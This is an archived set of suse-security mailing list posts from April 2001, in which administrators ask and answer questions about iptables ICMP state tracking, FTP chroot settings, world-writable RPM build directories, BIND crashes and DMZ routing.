Hello Gerd, sure, i've installed the rpm-package from the SuSE CD, but there is definitly no secumod.o module i could load!! Ralf ----- Original Message ----- From: "Gerd Bitzer" <gerd.bitzer(a)tesion.de> To: "Ralf Freisinger" <freisinger(a)ha-networks.com> Sent: Tuesday, April 03, 2001 12:49 PM Subject: Re: [suse-security] secumod > it's an RPM Package which must be installed with yast or the like from > the CD's, and then you have to load it (after configurtion) with insmod. > > HtH > > Ralf Freisinger wrote: > > > Hallo all, > > > > i've installed the secumod packet, but there is no > > module called secumod.o. Is there someone out there > > who can tell me where i can find this module. > > I've tried to recompile the Kernel, with secumod enabled, > > but there isn't any option to enable this in the Kernel. > > > > Greetings Ralf > > > > --------------------------------------------------------------------- > > To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com > > For additional commands, e-mail: suse-security-help(a)suse.com

2 1

A new worm has been found dubbed the Red worm.
by Fred A. Miller 03 Apr '01

03 Apr '01

http://www.sans.org/current.htm -- -- ----/ / _ Fred A. Miller ---/ / (_)__ __ ____ __ Systems Administrator --/ /__/ / _ \/ // /\ \/ / Cornell Univ. Press Services -/____/_/_//_/\_,_/ /_/\_\ fm(a)cupserv.org

1 0

ip_always_defrag
by RoMaN SoFt / LLFB!! 03 Apr '01

03 Apr '01

Hi. I switched from 2.2 to 2.4 kernel and now the following proc entry doesn't exist: /proc/sys/net/ipv4/ip_always_defrag I want it to use in a fw environment (I activate this option and then filter all fragments). Is there any equivalent proc option? =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ** RoMaN SoFt / LLFB ** roman(a)madrid.com http://pagina.de/romansoft ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

2 1

route.conf
by Daniel Quappe 03 Apr '01

03 Apr '01

sorry list, this is not really security-related...%( just working too long with this list that i forgot that there are more related lists, sorry, daniel -- Daniel Quappe Dienstag, der 3. April 2001 Systemadministrator E-Mail: quappe(a)erster.de Fon +49 (0)202 252 15 99 Fax +49 (0)202 52 20 99 Didn't take a look at http://www.erster.de yet ?!

1 0

route.conf
by Daniel Quappe 03 Apr '01

03 Apr '01

hey list, i have just installed a workstation with suse 7.1 and wanted to test surfing. but nothing happened and so i checked the routing. there was no default route and that was fixed in two seconds, but... ... i looked into /etc to configure (static) my /etc/route.conf and DID NOT found this file! where has it gone? are there any changes i have to notice about 7.1? many thanks in advance, bye, daniel

1 0

ports and ftp
by stephane parenton 03 Apr '01

03 Apr '01

hi, I'm working on a 7.0, and have a slight problem... everything seems to be rightly installed, but there should be a "small" configuration problem (I haven't installed the box). I can't ftp the box. i'm answered "ftp: connect: connection refused". if I nmap the box, the ftp ports are not "opened"... is it normal ? Where am I to look to solve this problem ?.... Regards Stephane

3 2

Re: [suse-security] SuSEfirewall2 / iptables
by christian.burri＠synecta.ch 03 Apr '01

03 Apr '01

Well, two packets, right? ICMP_Echo_Request i.e. is an ICMP packet, that like, say, goes out from ure box to the one u're pinging. The pinged machine will reply with a 2nd packet ICMP_Echo_Reply So like, you will send out an ICMP packet and you will recieve an ICMP packet. Im no netfilter xpert but like I can imagine that if program tracks outgoing ICMP packets and like creates entries in some table, then it could look this table up to see if the ICMP packet coming in (say its an Echo_Reply) could have been triggered by the machine it is addressed to (through an Echo_Request, of course). If there is an entry in the table, then netfilter could let the ICMP packet pass. If theres no entry in the table, then either noone actually requested that packet or the ping simply took to long to complete (I guess theres a timeout removing table entries which havent been referred to in the past (n) minutes) and thus gets discarded. Correct me if Im wrong =P cheers gridrun .-. /v\ L I N U X // \\ >Phear the Penguin< /( )\ ^^-^^ Marco Ahrendt <marco.ahrendt@ad To: Bjoern Engels <bengels(a)lanworks.de> consys.de> cc: suse-security(a)suse.de Subject: Re: [suse-security] SuSEfirewall2 / iptables 03.04.2001 13:30 On Tue, Apr 03, 2001 at 08:18:21AM +0200, Bjoern Engels wrote: > > Connection tracking doesn't use flags to determine <... SNIP> I don´t think so. According to some threads in netfilter-ml the connection tracking code currently requires a udp packet in both directions before considering a connection to be established. Therefor how it is possible to conntrack icmp if there are only 2 packets? Ping and reply for example? Marco -- Marco Ahrendt phone : +49-341-98-474-0 adconsys AG fax : +49-341-98-474-59 Karl-Liebknecht-Str. 19 email : marco.ahrendt(a)adconsys.de 04107 Leipzig/Germany gnupg key at www.aktex.net/marco_work.asc --------------------------------------------------------------------- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com

2 1

SuSEfirewall2 / iptables
by Marco Ahrendt 03 Apr '01

03 Apr '01

Hi all, after looking at Marc's firewall script I'm wondering about this line: $IPTABLES -A $CHAIN -j "$ACCEPT" -m state --state ESTABLISHED,RELATED -p icmp --icmp-type $TYPE There are much more lines where the state module is used on icmp packets. I thought the icmp packets had no flags like syn/ack/fin etc. who allows connection tracking? Did I missunderstand anything? I'm using my own iptables script and now I wanted to add some icmp rules for accepting icmp-type *unreachable* packets from the internet. If there is the chance to use connection tracking on icmp packets this would be very fine but I can't imagine how iptables could grep the state when not finding any flags. Marco -- Marco Ahrendt phone : +49-341-98-474-0 adconsys AG fax : +49-341-98-474-59 Karl-Liebknecht-Str. 19 email : marco.ahrendt(a)adconsys.de 04107 Leipzig/Germany gnupg key at www.aktex.net/marco_work.asc

3 3

Re: [suse-security] restrict ftp user to home directory
by andreas.baetz＠herma.de 03 Apr '01

03 Apr '01

Torsten Harling <harling(a)fnet.de> wrote: >I'd like to restrict every ftp user to their home directory. How >can I do this? >We're using wu-ftpd version 2.6.1. supposing your users have /home/userX as their homedirectories, and they are all in group "usergroup". Then you could put the following into /etc/ftpaccess: class remote guest,anonymous * guest-root /home restricted-gid usergroup guestgroup usergroup If you only want to restrict the root dir for some users, you could do: restricted-uid user1 user2 guestuser user1 user2 You can also mix the settings, i.e. using "restricted-uid" combined with "guestgroup" Andreas ********************************************************************** This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been scanned for the presence of computer viruses. **********************************************************************

1 0

restrict ftp user to home directory
by Torsten Harling 03 Apr '01

03 Apr '01

Hello list, I'd like to restrict every ftp user to their home directory. How can I do this? And what's the best way to restrict normal login? And, can I grant scp, but no ssh access? I think, scp uses ssh, so it is maybe impossible to have scp only. We're using wu-ftpd version 2.6.1. Torsten Harling -- fnet.de AG Frankfurter Ring 193A 089 / 323 55 - 127

2 1

Re: [suse-security] Permissions rpm directories
by Roman Drahtmueller 03 Apr '01

03 Apr '01

> > > > mkdir -p usr/src/packages > > rpm -ihv schnick.spm > > > > That works. Uh, sorry, I meant rpm -r $HOME -ihv schnick.spm Otherwise, it uses the system paths, and the mkdir is useless. Thanks, Volker. Roman. -- - - | Roman Drahtmüller <draht(a)suse.de> "Caution: Cape does not | SuSE GmbH - Security enable user to fly." | Nürnberg, Germany (Batman Costume warning label) | - -

1 0

RE: [suse-security] SuSEfirewall2 / iptables
by Reckhard, Tobias 03 Apr '01

03 Apr '01

> Connection tracking doesn't use flags to determine > if a connection was startet from inside or outside - > and this is the big advantage over ipchains. If a > packet is sent out to initiate a new connection, > an entry is being written to the connection table > to keep track of the connection and possibly allow > the reply froom outside. UDP doesn't use flags, too, > and you can keep track of those sessions as well > as icmp's. > Actually, there is no such thing as a "UDP session." UDP is connectionless by definition and doesn't have any notion of sessions, in contrast to TCP. There are many application layer protocols that implement sessions and use UDP as their transport method, yes, but it's the applications that are session-aware, not the transport layer process. The same applies to ICMP. Stateful filters assume that UDP is used in session fashion by allowing return traffic that matches the inverse socket pair of an allowed packet. However, they are much more susceptible to e.g. IP spoofing attacks, as there is no sequence and acknowledgement number information in UDP to check (not that they are checked in stateful TCP filters either, but they could..). There also doesn't exist any form of connection teardown, since no connection is ever established, so UDP entries to the connection table can only be removed by having them time out (unless you boldly assume that a fixed number of response packets will be received for every 'request'). The ability to grant more security in handling UDP is one of the main advantages of stateful filters compared to basic packet filters. You need to be aware of the fact that their operation is based on assumptions that are not generally true. This shouldn't mean too much of a problem for the most commonly used application layer protocols, but those are only around a handful in number. More obscure protocols or those with TCP/IP information embedded in the data are inherently more difficult to support with statefuls. Just thought I'd throw in a couple of remarks, so people won't blindly think that stateless filters are crap and statefuls are great. The world isn't that simple. Cheers, Tobias

1 0

Permissions rpm directories
by Theo v. Werkhoven 02 Apr '01

02 Apr '01

Hi all, This is more or less one for Roman & Co. Is there a compelling reason why the directories under /usr/src/packages should be world writable and readable? theo:/home/theo $ sudo rpm -ql --dump rpm-3.0.4-0 [..] /usr/src/packages/BUILD 35 953918273 041777 root root 0 0 8772 X /usr/src/packages/RPMS 77 953918273 041777 root root 0 0 597 X /usr/src/packages/RPMS/i386 35 953918273 041777 root root 0 0 0 X /usr/src/packages/RPMS/noarch 35 953918273 041777 root root 0 0 18526 X /usr/src/packages/SOURCES 35 953918273 041777 root root 0 0 18707 X /usr/src/packages/SPECS 35 953918273 041777 root root 0 0 18508 X /usr/src/packages/SRPMS 35 953918273 041777 root root 0 0 18504 X What stops a local from messing with sources, (re)builds, specs etc? Theo

3 4

Sendmail SMTP AUTH / SSL
by Raffy 02 Apr '01

02 Apr '01

Hey list, On my box I have sendmail running. In order to use SMTP over SSL I run it with stunnel in inetd: smpts stream tcp nowait root /usr/local/sbin/stunnel stunnel -D 3 -p /usr/local/ssl/certs/stunnel.pem -r smtp Further I configured sendmail to use SMTP AUTH. Everything works perfect. But: smpts is on port 465. I configured my clients such that they use that port. So far so good. But now port 25 can still be used to send email. I could block it at the firewall but then I am not able to receive email any more, because other mailservers are talking with me on that port. (right?) Is there a solution that I can use SMTP over SSL and SMTP AUTH? Clients should not be able to connect without SSL or SMPT AUTH! Thanks Raffy

19 31

RE: [suse-security] Bind
by Reckhard, Tobias 02 Apr '01

02 Apr '01

> I have the same problem as described below. I´m running SuSE 6.4/bind8.2.2 > for about 1/2 year without any problems. In the last weeks named is going > down first about one time a week up to now every second day - and I can´t > find any hint in the logs...any idea? > Have you tried more extensive logging or perhaps execution in debug mode? That will give you many more hints than are available from the default logging. cya, Tobias

3 2

Bind
by Hipolito A. Gonzalez M. 02 Apr '01

02 Apr '01

I upgrade to the new 8-8.2.3 bind version, but, every morning the daemon "named" is stop. Is any trying to hack me? I have and real ip and I'm making hosting. Thank you. In log nothing appear. -- www.geekcode.com -----BEGIN GEEK CODE BLOCK----- Version: 3.1 GCS/cc/e/it d++ s+:+ a-- C++$ UL+++$ E++ W+++$ w--- O---- M V- PS PE+++ Y+ PGP- t+ 5 X++ R tv+ b++ DI-- D+ G e++$ h! r++ y++ ------END GEEK CODE BLOCK------ - A veces creo que hay vida en otros planetas, y a veces creo que no. En cualquiera de los dos casos, la conclusión es asombrosa (Carl Sagan) -----------------------------------------------------------------

3 3

firewalling
by Ralf Freisinger 02 Apr '01

02 Apr '01

Hello all, following i want to use for internet topology: Internet | eth0 62.153.xxx.190/255.255.255.192 Router outside eth1 (internal DMZ) 62.153.xxx.134/255.255.255.224 | Mailserver (all Server in the DMZ should have official IP's like above eth1 (internal DMZ interface) | DNS-Server | WWW-Server | eth0 62.153.xxx.133/255.255.255.224) to DMZ Router inside/Firewall eth0 (local Lan) 192.168.2.29 | | Local Network (official IPs) It's only an Idea from me, is it possible to set up the DMZ like this, I've an ip-range of 64 addresses ( network 62.153.xxx.128/255.255.255.192) Outside of the DMZ there are more WWW-Server, only one of these should be in the DMZ, because on this host are running some special software. If i try it like this, i've problems with the routing, the DMZ is pingable from the "Router outside" but i can't reach the Internet from this Router. Perhaps some people can help me set up the routing correctly and perhaps could tell (explain) me the mistakes i make! Thanxs a lot greetings Ralf

2 1

iptables
by office＠tride.net 02 Apr '01

02 Apr '01

Hello list, does the SuSEfirewall-script support iptables? cu

3 2

RE: [suse-security] Bind
by Reckhard, Tobias 02 Apr '01

02 Apr '01

Umm, yeah, that's debug mode, but there's a lot more to the logging statement in /etc/named.conf. I'd thought I'd mentioned how to start named in debug mode, but that wasn't to the list. Sorry, my bad. Tobias > -----Original Message----- > From: emm(a)eggler.ch [SMTP:emm@eggler.ch] > Sent: Monday, April 02, 2001 3:24 PM > To: Reckhard, Tobias > Cc: 'hgonzale(a)celularshow.com'; suse-security(a)suse.de > Subject: Re: [suse-security] Bind > > At Mon, 2 Apr 2001 15:19:38 +0200 , "Reckhard, Tobias" > <Reckhard(a)secunet.de> wrote: > > >Check out the contents of /usr/share/doc/packages/bind8. BIND's logging > >config is way beyond the scope of this list. > > sure. but it's no secret and trivial: named -d 9 starts bind the > noisy way. > > regards > emmerich

1 0

Re: [suse-security] Bind
by emm＠eggler.ch 02 Apr '01

02 Apr '01

At Mon, 2 Apr 2001 15:19:38 +0200 , "Reckhard, Tobias" <Reckhard(a)secunet.de> wrote: >Check out the contents of /usr/share/doc/packages/bind8. BIND's logging >config is way beyond the scope of this list. sure. but it's no secret and trivial: named -d 9 starts bind the noisy way. regards emmerich

1 0

RE: [suse-security] Bind
by Reckhard, Tobias 02 Apr '01

02 Apr '01

Check out the contents of /usr/share/doc/packages/bind8. BIND's logging config is way beyond the scope of this list. Good luck, Tobias > -----Original Message----- > From: Hipolito A. Gonzalez M. [SMTP:hgonzale@celularshow.com] > Sent: Monday, April 02, 2001 2:58 PM > To: Reckhard, Tobias; suse-security(a)suse.de > Subject: Re: [suse-security] Bind > > Reckhard, Tobias wrote: > > > > > Have you tried more extensive logging or perhaps execution in debug mode? > That will give you many more hints than are available from the default > logging. > > > How can I put the extensive logging? Thank you. > > > -- > www.geekcode.com <http://www.geekcode.com> > -----BEGIN GEEK CODE BLOCK----- > Version: 3.1 > GCS/cc/e/it d++ s+:+ a-- C++$ UL+++$ E++ W+++$ w--- O---- > M V- PS PE+++ Y+ PGP- t+ 5 X++ R tv+ b++ DI-- D+ G e++$ > h! r++ y++ > ------END GEEK CODE BLOCK------ > - A veces creo que hay vida en otros planetas, y a veces creo que > no. En cualquiera de los dos casos, la conclusión es asombrosa > (Carl Sagan) > ----------------------------------------------------------------- >

1 0

re bind
by webmaster 02 Apr '01

02 Apr '01

Tobias, would you give hints how to run named in debug mode ? I am having the same problem It logs however: Apr 2 06:00:41 mand sshd2[10183]: DNS lookup failed for "x..x.42.2". Apr 2 06:01:11 mand sshd[10183]: fatal: Read from socket failed: Connection reset by peer Antal -------------------------- webmaster Kreorg Oktatóközpont Tel/Fax: 321-0031 email: webmaster(a)kreorg.hu

2 1

SuSEfirewall question
by Michael Long 02 Apr '01

02 Apr '01

When running 'SuSEfirewall check' I get the following output: /sbin/SuSEfirewall: split-brained.: command not found /sbin/SuSEfirewall: host/network.: No such file or directory /sbin/SuSEfirewall: dmz/intern: No such file or directory /sbin/SuSEfirewall: addesses!: command not found ipchains produced errors, no default routing set up? ipchains produced errors, no default routing set up? ipchains produced errors, no default routing set up? What is this telling me? The firewall appears to be working. --Thanks, Mike

1 0

RE: [suse-security] firewalling
by Reckhard, Tobias 02 Apr '01

02 Apr '01

> following i want to use for internet topology: > I'm snipping your ASCII art for brevity. > Internet -- eth0 62.153.xxx.190/255.255.255.192 (= /26) > Router outside [DMZ: 62.153.xxx.134/255.255.255.224 (= /27) > Router inside/Firewall > eth0 (local Lan) 192.168.2.29 > > It's only an Idea from me, is it possible to set up the DMZ like this, > I've an ip-range of 64 addresses ( network 62.153.xxx.128/255.255.255.192) > OK, you've got an official 26-bit network. You can subnet that into two 27-bit networks, yes. However, you should apply that mask to the outside interface as well and have your ISP modify his interface accordingly and add a route to the DMZ subnet, pointing at your router. This is the most straightforward and hard to mess up solution. Alternatively you can fake the non-existence of your DMZ by mucking around with Linux' IP capabilities. The two alternatives I can think off right now are proxy arp and a combination of IP aliasing, IP masquerading and port forwarding. Proxy arp is the less dirty of the two, it makes your outside router answer arp requests for the machines in the DMZ and is thereby addressed by machines in the network between it and your ISP's router. See http://www.linuxdoc.org/HOWTO/mini/Proxy-ARP-Subnet/index.html for details. The other possibilty is to add the DMZ server's IP addresses to the the exterior router's eth0 interface with IP aliasing and to use RFC1918 addresses in the DMZ. Using port forwarding, you can redirect traffic from the router to the DMZ and masquerade the return traffic. Both of these alternatives are hacks, more or less, to circumvent the need for your ISP to do anything or, in fact, notice any change. However, they are administratively much more complicated. It's your call. > Outside of the DMZ there are more WWW-Server, only one of these should > be in the DMZ, because on this host are running some special software. > Why shouldn't all of your public servers go into a DMZ? I'd probably advise you to get an additional 30-bit or 29-bit subnet from your ISP to place the exterior router and the ISP's router in and use your 26-bit network in one or more DMZs. > If i try it like this, i've problems with the routing, the DMZ is pingable > from > the "Router outside" but i can't reach the Internet from this Router. > Hmm, your routing is probably mucked up. > Perhaps some people can help me set up the routing correctly and perhaps > could > tell (explain) me the mistakes i make! > The following should work on the exterior router: /sbin/route add -net 62.153.xxx.128 netmask 255.255.255.224 dev eth1 /sbin/route add -net 62.153.xxx.128 netmask 255.255.255.192 dev eth0 You need to add both routes to the machines in front of the exterior router as well as in the DMZ for routing between these networks to function. These need to specify the exterior router as the gateway to use, of course. HTH, Tobias

1 0

RE: [suse-security] bind-update-attempt
by Reckhard, Tobias 02 Apr '01

02 Apr '01

> in the last weeks i often got the syslog-message > that somebody wanted to update my bind-server > for somedomain which was of course denied by > my bind-system by default. > Are you sure an attempt to update your server software and not the database is being made? > are there any problems in the software i have > to think about with regard to a worst case > scenario...;-) > Well, BIND isn't considered to be very reliable with respect to security. djbdns is, on the other hand, but isn't and probably won't be distributed by SuSE, due to DJB's, umm.., unusual licensing policy. It's pretty easy to compile, install and configure, though. HTH, Tobias

1 0

RE: [suse-security] Re: [Fwd: [suse-security] many nic's]
by Reckhard, Tobias 02 Apr '01

02 Apr '01

> For example it would be possible to install 4 nics in my box an then use > one nic for isp A and one for isp B. Would it be also possible to set up > firewalling so that isp A provides internet access to network C and B for > network D. > Box > ISP A (eth0) -----> Network C (eth1) > ISP B (eth2) -----> Network D (eth3) > > But it should not be possile to access ISP B from Network C and visa verse > for ISP A. > This is possible with a 2.4 (or late 2.2?) kernel with the advanced routing options. You need to perform routing based on source address. I expect it to be pretty easy to muddle up in setup and maintenance, so I'd probably advise against it and urge you to set up another box to properly separate both networks. If we're talking about WAN uplinks any old box will be able to handle the traffic easily. > I think it should be possible with the SuSEfirewall. You only have to set > up > the > right routing configuration. > I barely know SuSEFirewall myself, but generic iptables/ipchains aren't your problem. The routing is, as you correctly assume. Cheers, Tobias

1 0

Re: [Fwd: [suse-security] many nic's]
by office 02 Apr '01

02 Apr '01

For example it would be possible to install 4 nics in my box an then use one nic for isp A and one for isp B. Would it be also possible to set up firewalling so that isp A provides internet access to network C and B for network D. Box ISP A (eth0) -----> Network C (eth1) ISP B (eth2) -----> Network D (eth3) But it should not be possile to access ISP B from Network C and visa verse for ISP A. I think it should be possible with the SuSEfirewall. You only have to set up the right routing configuration. Any comments? ----- Original Message ----- From: Bernhard Pavdi <bernhard.pavdi(a)tride.net> To: <office(a)tride.net> Sent: Monday, April 02, 2001 8:39 AM Subject: [Fwd: [suse-security] many nic's] > >

1 0

netscreen 5 and ftp
by Philipp Snizek 02 Apr '01

02 Apr '01

For evaluation I received a netscreen 5a. I'm a little bit unhappy with it because it seems not to support pasv ftp. Moreover if it runs only in active mode I have to open all hi-ports for ftp which is a fact I really hate. If somebody knows how to set up pasv ftp on netscreen 5a please let me know. TIA Philipp

2 3